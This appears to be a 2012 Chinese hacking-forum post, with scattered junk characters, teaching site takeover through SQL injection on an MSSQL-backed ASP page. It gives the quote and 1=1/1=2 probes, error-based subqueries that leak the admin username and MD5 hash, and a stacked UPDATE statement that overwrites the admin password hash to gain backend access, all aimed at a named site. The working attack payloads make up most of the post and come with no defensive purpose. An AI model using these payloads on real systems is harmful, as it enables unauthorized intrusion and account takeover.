经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。
/ d1 ]1 ~7 u( j0 u4 O& n- q6 {可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)0 T# d) }2 Q+ C6 }! `, q2 h
测试如下：7 R; f: G- P5 K
http://www.tmdsb.com/news.asp?id=121 V2 k# a* j: Z$ ~/ T
在地址后输入单引号，显示9 H0 e6 Q# L: u3 W
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’
; w# _! o D4 P4 P1 q字符串 ’’’ 之前有未闭合的引号3 o: _; J9 ~9 Q. ~5 {/ j, q
/news/tmdws.asp，行639 |2 |) c2 K2 E- e9 S& a+ ^
说明没有过滤单引号且数据库是MSSQL.9 c! n! X2 j; c6 ] {2 R9 _
and 1=1正常。and 1=2出错。肯定存在注入
3 @. ?& @+ i+ Z; z, s( H接着输入
9 W0 V n+ W! a* p- c* rhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)4 Q3 u" K% I0 L: r6 D' L
得到帐号为:admin }0 @, a+ Y; |- R, P: F; G; }' b
http://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)) K. _, J1 F6 q1 }- }$ _
得到密码为:a4716077c2ba075c5 X/ @. s: v$ x% c2 M( x
接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433% q; B% Z6 R* G% A& v9 J) i
命令如下 :
: t- A. V: F* R* A1 s) I- B;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–
5 T; X2 G8 E1 ? n这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41